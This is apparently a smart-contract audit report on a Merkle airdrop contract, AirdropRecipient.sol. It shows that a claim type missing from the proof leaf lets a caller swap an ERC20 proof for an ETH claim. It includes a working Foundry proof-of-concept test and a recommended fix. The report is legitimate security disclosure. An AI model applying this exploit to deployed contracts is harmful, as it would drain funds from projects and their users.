Crazy Chiffon Spider

High

# Claim logic in AirdropRecipient can be manipulated with different ClaimTypes to drain funds

## Summary
This issue allows for **manipulation by anyone** on how the airdropped amounts are distributed when we have multiple `ClaimTypes` for one Merkle root, which leads to **either losses** if it's called by an adversary, or **potential gains**, which will "**steal**" from airdrops intended for other NFTs.

## Vulnerability Detail
In `AirdropRecipient.sol` we can have the same merkle root set for different `ClaimTypes`, so we could use for example one merkle for 1 specific NFT, or for 1 specific owner. Either way this is vulnerable, since the `ClaimTypes` enum is not included in the Merkle proof.

Its **100% intended** to have multiple `ClaimTypes` for the same merkle root, for proof we can use this test as an example - [test_CannotDistributeExistingMerkle()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/test/utils/AirdropRecipient.t.sol#L84C14-L94)

Which not only demonstrates it, but explicitly mentions it in a comment:
> Confirm that we can distribute the same merkle again to a different ClaimType

We lack any validation for claimType, so we can pass arbitrary values for it.
```solidity
@>> function claimAirdrop(bytes32 _merkle, Enums.ClaimType _claimType, MerkleClaim calldata _node, bytes32[] calldata _merkleProof) {
        if (!merkleClaims[_merkle][_claimType]) revert MerkleRootNotValid();

        bytes32 nodeHash = keccak256(abi.encode(_node));
        if (isClaimed[_merkle][nodeHash]) revert AirdropAlreadyClaimed();

        if (!MerkleProofLib.verifyCalldata(_merkleProof, _merkle, nodeHash)) revert InvalidClaimNode();
        isClaimed[_merkle][nodeHash] = true;

        if (_claimType == Enums.ClaimType.ERC20) {
@>>         if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
        } else if (_claimType == Enums.ClaimType.ERC721) {
            IERC721(_node.target).transferFrom(address(this), _node.recipient, _node.tokenId);
        } else if (_claimType == Enums.ClaimType.ERC1155) {
            IERC1155(_node.target).safeTransferFrom(address(this), _node.recipient, _node.tokenId, _node.amount, '');
        } else if (_claimType == Enums.ClaimType.NATIVE) {
@>>         (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
            if (!sent) revert TransferFailed();
        }
    }
```    
If we have 2 airdrops, one for **ERC20** and one for **NATIVE**, we will have 2 pairs of proofs with different `MerkleClaim` structs, which define the amount, recipient, etc.  
However, when those 2 pairs have the same root, it will be possible to swap them and use the proof for the **ERC20**, instead of the **NATIVE** claim.

### Coded PoC
Add this to AirdropRecipient.t.sol and use `forge test --match-test test_MerkleExploit -vvvv`
```solidity
    function test_MerkleExploit() public {
        //Ensure Locker contract has enough funds to distribute airdrop
        deal(address(locker), 5 ether);

        //We assume NATIVE is way more valuable than ERC20, as in most cases it would be.
        //Root is 0xca92ea31dbd5ac6a8ac71885a57cde1ebf7a21b45f6b6d27c5e8b75b36a6bc97
        //We use https://lab.miguelmota.com/merkletreejs/example/ - Use keccak256 hashing

        //========= ERC20 setup =========
        address claimerOne = address(1);
        IAirdropRecipient.MerkleClaim memory claimOne = IAirdropRecipient.MerkleClaim(claimerOne, address(erc20), 0, 1 ether);
        emit log_bytes32(keccak256(abi.encode(claimOne))); //0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138

        //0xb61923e7df34c8e19739d449724a79d90c60b8faa54bbe2f9e10c3ff9d1dcd82
        emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(claimerOne, address(erc20), 0, 0.2 ether)))); 

        //========== NATIVE (ETH) setup ==========
        //0xf7338c81ef403b37befb3805172ced4c8cdc67e0678c014c10cb4408216f8f10
        emit log_bytes32(keccak256(abi.encode(IAirdropRecipient.MerkleClaim(claimerOne, address(0), 0, 0.15 ether))));

        //===START===
        locker.distributeAirdrop(0xc80142463349dd7a3d98b99f5ef8ca70e428b51c219503fbeae86936116215f3, Enums.ClaimType.ERC20);
        locker.distributeAirdrop(0xc80142463349dd7a3d98b99f5ef8ca70e428b51c219503fbeae86936116215f3, Enums.ClaimType.NATIVE);

        // Now we can claim the NATIVE airdrop with the proof for the ERC20 airdrop
        // This is the proof for the 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138 leaf
        bytes32[] memory proof = new bytes32[](2);
        proof[0] = 0xb61923e7df34c8e19739d449724a79d90c60b8faa54bbe2f9e10c3ff9d1dcd82;
        proof[1] = 0xf7338c81ef403b37befb3805172ced4c8cdc67e0678c014c10cb4408216f8f10;

        locker.claimAirdrop({
            _merkle: 0xc80142463349dd7a3d98b99f5ef8ca70e428b51c219503fbeae86936116215f3,
            // Even though the (keccak256(abi.encode(claimOne) 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138 is for ERC20, we claim NATIVE
            _claimType: Enums.ClaimType.NATIVE,
            _node: claimOne, // 0x9e6a01866327b729a94cd8c6fc0ae0d817f810bb08c0d14e8020d3093e1b6138
            _merkleProof: proof
        });

        // Confirm that the user now successfully claimed the claimOne airdrop amount for the NATIVE claim
        // By using the proof for the ERC20 claim
        assertEq(payable(claimerOne).balance, 1 ether);
        assertEq(address(locker).balance, 4 ether);
    }
```    
### Impact

Both `MerkleClaim` structs for both proofs will contain different amounts but potentially the same recipient. (Even if the recipient is not the same, this would still lead to accounting errors and loss of funds.)

- If we have `1e18` in an **ERC** token, but `0.01e18` in a **NATIVE** token as an airdrop, it's likely that `1e18` **ERC20** will not be worth as much as 1 **ETH**. So we can exchange unworthy tokens for **ETH**, and this will basically be stolen from the contract.

- Anyone can claim on behalf of any user. So adversaries can create opposite scenarios and screw up more valuable claims for less valuable ones.
## Tool used

Manual Review

## Recommendation
Include the ClaimTypes enum in the MerkleClaim struct. This way, it will be embeded in the leaf, thus the ability to manipulate it will no longer be possible.